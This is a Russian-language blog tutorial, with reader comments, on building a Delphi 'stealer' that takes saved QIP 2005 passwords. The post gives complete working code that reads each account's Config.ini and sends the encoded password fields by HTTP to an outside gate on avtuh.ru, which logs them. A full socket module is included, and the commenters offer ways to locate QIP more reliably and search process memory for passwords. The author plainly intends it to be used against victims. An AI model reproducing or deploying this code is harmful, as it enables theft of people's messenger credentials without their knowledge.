Пишем stealer для кражи паролей QIP

26 августа 2010    

Сейчас я покажу, как своими силами написать стилер (от англ. stealer – Вор) на Delphi, который будет воровать сохраненные пароли QIP и отсылать их на гейт для записи в файл на сервере. Работает всё это с помощью сокетов Delphi (абсолютно работоспособно на Delphi 2010)

Сразу хочу сказать, что пример обладает минимальным функционалом (дабы не загружать рассказ лишним кодом) и крадет пароли только от QIP 2005, который установлен по адресу C:\Program Files\QIP\. Ну и конечно хотелось сохранить минимальный размер полученной программы. Хотя если это не критично, то в программу можно добавить модуль Registry для определения точного расположения папки установки QIP, а также модуль для дешифровки пароля прямо в программе (ибо программа отсылает не расшифрованные пароли, а значения полей Custom1 и Custom2, которые легко расшифровать самому)

Итак, приступим. Конечно же программе для работы не требуется форма, так что создаем консольное приложение (Console Application).
В Uses прописываем библиотеки, которые нам понадобятся:

uses
 winsock, windows, SysUtils,
 SocketRequest in 'SocketRequest.pas';

Библиотека SocketRequest самописная, понадобится для отсылки найденных паролей на гейт. О ней в конце.

Заполняем раздел var:

var
 sr:TSearchRec;
 s,s2:string;
 i:integer;
 f:text;

Сам код программы:

if FindFirst('c:\Program Files\QIP\Users\'+'*.*',faDirectory,sr)=0 then
 repeat
  s:=SR.Name;
  if trystrtoint(s, i) then
   begin
    if FileExists('c:\Program Files\QIP\Users\'+s+'\Config.ini') then
     begin
      assign(f,'c:\Program Files\QIP\Users\'+s+'\Config.ini');
      reset(f);
      while not(eof(f)) do
       begin
        readln(f,s2);
        if (Pos('Custom1',s2)<>0) and (Length(s2)=72) then
         socketget('http://avtuh.ru/file.php?recieve='+s+':'+s2)
        else
        if (Pos('Custom2',s2)<>0) and (Length(s2)=96) then
         socketget('http://avtuh.ru/file.php?recieve='+s+':'+s2);
       end;
      close(f);
     end;
   end;
 until Findnext(sr)<>0;
FindClose(sr);

Немного разберем.

FindFirst(‘c:\Program Files\QIP\Users\’+'*.*’,faDirectory,sr)=0
Ищем в папке Users все подпапки и файлы. Нам нужны папки, которые называются цифрами.

if trystrtoint(s, i) then
Если имя папки можно преобразовать в число (именно такие нам и нужны), то смотрим, существует ли в этой папке файл Config.ini
if FileExists(‘c:\Program Files\QIP\Users\’+s+’\Config.ini’) then

Если файл Config.ini имеется, то открываем его и считываем строки. Если найдена строка Custom1 или Custom2 (не пустые!), то вызываем функцию socketget из модуля SocketRequest:

socketget('http://avtuh.ru/file.php?recieve='+s+':'+s2)

В качестве параметра передаем ей адрес гейта и параметры (значения Custom).
Гейт представляет собой файл file.php:


Этот скрипт записывает в файл file.log (который должен находится в той же папке на сервере) текст, который приходит в параметре recieve.

Код основной программы закончен. Только в конце я добавил еще вывод на экран слово “OK” и чтение из консоли, чтобы увидеть, что программа успешно отработала (в непосредственно готовом стилере это конечно не нужно):

writeln('OK');
readln;

Stealer QIP

Теперь о модуле SocketRequest. Расскажу поверхностно)
Использует библиотеки winsock, Windows, которые уже используются в нашем стилере, так что на размер программы не повлияют.
Также в него из библиотеки SysUtils взял функцию IntToStr и процедуру CvtInt для нее, дабы мой модуль от нее не зависел.

Этапы работы функции socketget из модуля заключаются в следующем:
- получает в переменную url адрес запроса
- в переменную Host копируем адрес сервера (в нашем случае это avtuh.ru)
- в переменную Address копируем адрес гейта и параметры (в нашем случае это /file.php?recieve=’+s+’:'+s2)
- получаем IP сервера по его адресу

getaddrinfo(PansiChar(Host), nil, @aiHints, aiRes)=0

- делаем запрос, используя IP сервера

Вот полный код:

unit SocketRequest;

interface

uses
  winsock, Windows;

 function socketget(url:ansistring) :ansistring;

implementation

type
 paddrinfo = ^addrinfo;
  addrinfo = packed record
    ai_flags, ai_family, ai_sockettype, ai_protocol: integer;
    ai_addrlen: integer;
    ai_canonname: pansichar;
    ai_addr: psockaddr;
    ai_next: paddrinfo;
  end;

function getaddrinfo(nodename, servname: PansiChar; hints: paddrinfo; var res: paddrinfo): integer;
  stdcall; external 'ws2_32.dll';

  var
  aiHints: addrinfo;
  aiRes: paddrinfo;

procedure CvtInt;
asm
        OR      CL,CL
        JNZ     @CvtLoop
@C1:    OR      EAX,EAX
        JNS     @C2
        NEG     EAX
        CALL    @C2
        MOV     AL,'-'
        INC     ECX
        DEC     ESI
        MOV     [ESI],AL
        RET
@C2:    MOV     ECX,10

@CvtLoop:
        PUSH    EDX
        PUSH    ESI
@D1:    XOR     EDX,EDX
        DIV     ECX
        DEC     ESI
        ADD     DL,'0'
        CMP     DL,'0'+10
        JB      @D2
        ADD     DL,('A'-'0')-10
@D2:    MOV     [ESI],DL
        OR      EAX,EAX
        JNE     @D1
        POP     ECX
        POP     EDX
        SUB     ECX,ESI
        SUB     EDX,ECX
        JBE     @D5
        ADD     ECX,EDX
        MOV     AL,'0'
        SUB     ESI,EDX
        JMP     @z
@zloop: MOV     [ESI+EDX],AL
@z:     DEC     EDX
        JNZ     @zloop
        MOV     [ESI],AL
@D5:
end;

function IntToStr(Value: Integer): string;
asm
        PUSH    ESI
        MOV     ESI, ESP
        SUB     ESP, 16
        XOR     ECX, ECX       // base: 0 for signed decimal
        PUSH    EDX            // result ptr
        XOR     EDX, EDX       // zero filled field width: 0 for no leading zeros
        CALL    CvtInt
        MOV     EDX, ESI
        POP     EAX            // result ptr
{$IF DEFINED(Unicode)}
        CALL    System.@UStrFromPCharLen
{$ELSE}
        PUSH    DefaultSystemCodePage
        CALL    System.@LStrFromPCharLen
{$IFEND}
        ADD     ESP, 16
        POP     ESI
end;

function socketget(url:ansistring) :ansistring;
var
 WSAData1:TWSAData;
 Socket1:TSocket;
 SockAddr1:TSockAddr;
 Host, Address, IP:ansistring;
 Buffer1, s:ansistring;
 Buffer2:array[1..1024] of ansichar;
 d,i:integer;
begin
 if WSAStartup(MAKEWORD(2,2), WSAData1)<>0 then
 begin
  Result:='Error';
  Exit;
 end;
 Socket1:=Socket(AF_INET,SOCK_STREAM,0);
  if Socket1=INVALID_SOCKET then
  begin
   Result:='Error';
   Exit;
  end;
 FillChar(aiHints, sizeOf(aiHints), 0);
 aiHints.ai_family:=AF_INET;
 aiHints.ai_sockettype:=SOCK_STREAM;
 aiHints.ai_protocol:=IPPROTO_TCP;
 Host:=Copy(Url, 8, Length(Url));
 Address:='';
 if Pos('/', Host)<>0 then
  begin
   Address:=Copy(Host, Pos('/', Host), Length(Host));
   Host:=Copy(Host, 1, Pos('/', Host)-1);
  end;
 if getaddrinfo(PansiChar(Host), nil, @aiHints, aiRes)=0 then
 IP:=(inttostr(ord(aiRes.ai_addr.sin_addr.S_un_b.s_b1))+'.'+
      inttostr(ord(aiRes.ai_addr.sin_addr.S_un_b.s_b2))+'.'+
      inttostr(ord(aiRes.ai_addr.sin_addr.S_un_b.s_b3))+'.'+
      inttostr(ord(aiRes.ai_addr.sin_addr.S_un_b.s_b4)))
  else
   begin
    Result:='Error';
    Exit;
   end;

 SockAddr1.sin_family:=AF_INET;
 SockAddr1.sin_addr.S_addr:=inet_addr(PansiChar(IP));
 SockAddr1.sin_port:=htons(80);
 if Connect(Socket1,SockAddr1,SizeOf(SockAddr1))<>0 then begin
  Result:='Error';
  exit;
 end;
 Buffer1:='GET '+Address+' HTTP/1.1'#13#10+
           'Host: '+Host+#13#10+
           'Connection: close'#13#10+
           #13#10;
 if send(Socket1,Buffer1[1],Length(Buffer1),0)=SOCKET_ERROR then begin
  Result:='Error';
  exit;
 end;
 s:='';
 repeat
  FillChar(Buffer2,SizeOf(Buffer2),0);
  d:=recv(Socket1,Buffer2,SizeOf(Buffer2),0);
  for i:=1 to d do s:=s+(Buffer2[i]);
 until d<=0;

 Result:=s;
 if CloseSocket(Socket1)<>0 then
  Result:='Error';
end;

end.

Результатом функции будет ответ сервера (обычно заголовки и то, что выдает гейт). В основной программе результат функции никак не отслеживается, ибо нам не интересно знать результат запроса. Хотя при какой-нибудь ошибке его по желанию можно повторить пару раз))

В итоге получили файл весом 90 Кб.

Stealer QIP

И отчет на сервере:

Stealer QIP

Все значения Custom можно расшифровать с помощью DeCrypt ICQCustom2 хранится пароль, в Custom1 хранится его md5-хэш).

© Zdez Bil Ya Avtuh.ru


Похожие записи из категории Статьи

  • Прокрутка компонентов, не имеющих фокуса ввода
  • Количество вхождений подстроки в строке
  • Отправка email через скрипт
  • Как полезно иногда пользоваться сниффером
  • Delphi – Indy. Отправка письма с вложением
  • Нравится


    Метки: , , , , , , , , Рубрика: Статьи


    обсуждение

    1. my610 пишет:

      для чтения параметров из файла Config.ini проще использовать айпишную функцию: GetPrivateProfileString это первое, второе для поиска лучше использовать функции из модуля Windows (FindFirstFile…) вместо FindFirst, отказаться от использования модуля SysUtils – это третье.
      В итоге получили файл весом не 90 Кб, а всего в 14-19 кило в зависимости от версии используемой Delphi

      Zdez Bil Ya Reply:

      Вы не поверите, 90 кб или 20 кб, значения вообще не имеет. Ни один человек не увидит разницу в размере файла, если она будет составлять даже сотни килобайт. А те, кто заметит, никогда не будет скачивать файлы с неизвестных источников и на стилер не попадется

    2. crystalbit пишет:

      Привет!
      Вот смотри, у меня система стоит на диске E:, и это всё у меня работать не будет (да, на диске C: другая винда, но есть ли там квип, и те ли учётки?). Конечно, на конверт это мало повлияет, но путь к qip я брал из реестра – http://parsers.info/2009/04/poluchenie-puti-k-qip/
      А дальше уже от него и плясать :)

      PS Давно я не заходил, как блог изменился :)
      PPS Поставь плагин подписки на комменты, будет удобней

      Zdez Bil Ya Reply:

      Да, для точности можно брать путь к QIP из реестра, но вот тот код у меня не работает (Count=0 и бесконечный цикл) )) Может если поколдовать, то и получится, но в том разделе реестра у меня вот ничего нет про QIP )) Так что и тут придется перебирать несколько разделов. Так же и папки на разных дисках можно поперебирать ))

    3. my610 пишет:

      Использовать абсолютные пути это не совсем правильно, да можно конечно получать путь из реестра, но там он есть только в том случае, если qip ставился нормально – инсталлятором, а не копировался откуда либо. Найти qip можно несколькими путями:
      1: реестр
      2: сканировать все разделы HDD (не вариант, т.к. долго очень)
      3: По заголовком окон (при запущенном QIP)
      4: По ярлычкам…

    4. crystalbit пишет:

      Zdez Bil Ya, спасибо за замечание, пересмотрю свой код.
      > 3: По заголовком окон (при запущенном QIP)
      мб по процессам, смотреть адрес? не очень понял, как по заголовкам

    5. my610 пишет:

      По процессам не очень удобно, потому как имя процесса не обязательно может быть qip.ехе, его просто изменить, и оно используется в шифровании паролей qip.
      По заголовкам окно искать проще (класс и заголовок изменить куда сложнее, придется отключать проверку целостности qip), ищем класс главного окна с помощью FindWindow для точности проверяем заголовок на содержание текста ‘qip’, если находим, то по хэндлу окна получаем указатель процесса родителя (PID), зная PID можно получить как путь до ехе так и ‘порыскать’ в памяти на предмет паролей, хотя не знаю в последних билдах может и убран этот косяк.

    6. crystalbit пишет:

      Спасибо, понял, хороший вариант, тоже через процесс :)
      Zdez Bil Ya, сделай подписку на комменты)

      Zdez Bil Ya Reply:

      Подписка есть) У меня в Опере по клике в адресной строке можно выбрать легко. Здесь например ссылка: http://avtuh.ru/2010/08/26/stealer-qip.html/feed

    7. crystalbit пишет:

      Это вижу, я про на почту)

    8. Георгий пишет:

      Такой вариант!!!

      // найдём папку Program Files, а дальше всё как по маслу…..
      …….
      function sysdir: string;
      var
      f:array[0..255]of char;
      begin

      ExpandEnvironmentStrings(‘%ProgramFiles%’,f,255);
      Result := f;
      end;

      begin
      if FindFirst(sysdir+’\QIP\Users\’+'*.*’,faDirectory,sr)=0 then
      repeat
      s:=SR.Name;
      if trystrtoint(s, i) then
      begin
      if FileExists(sysdir+’\QIP\Users\’+s+’\Config.ini’) then
      begin
      assign(f, sysdir+’\QIP\Users\’+s+’\Config.ini’);
      reset(f);
      while not(eof(f)) do
      begin
      readln(f,s2);
      if (Pos(‘Custom1′,s2)0) and (Length(s2)=72) then
      writeln(s + ‘ ‘ + s2)
      else
      if (Pos(‘Custom2′,s2)0) and (Length(s2)=96) then
      writeln(s + ‘ ‘ + s2)
      end;
      close(f);
      end;
      end;
      until Findnext(sr)0;
      //FindClose(sr);
      readln;
      end.

    9. ouqfkbn пишет:

      zjlrpkcu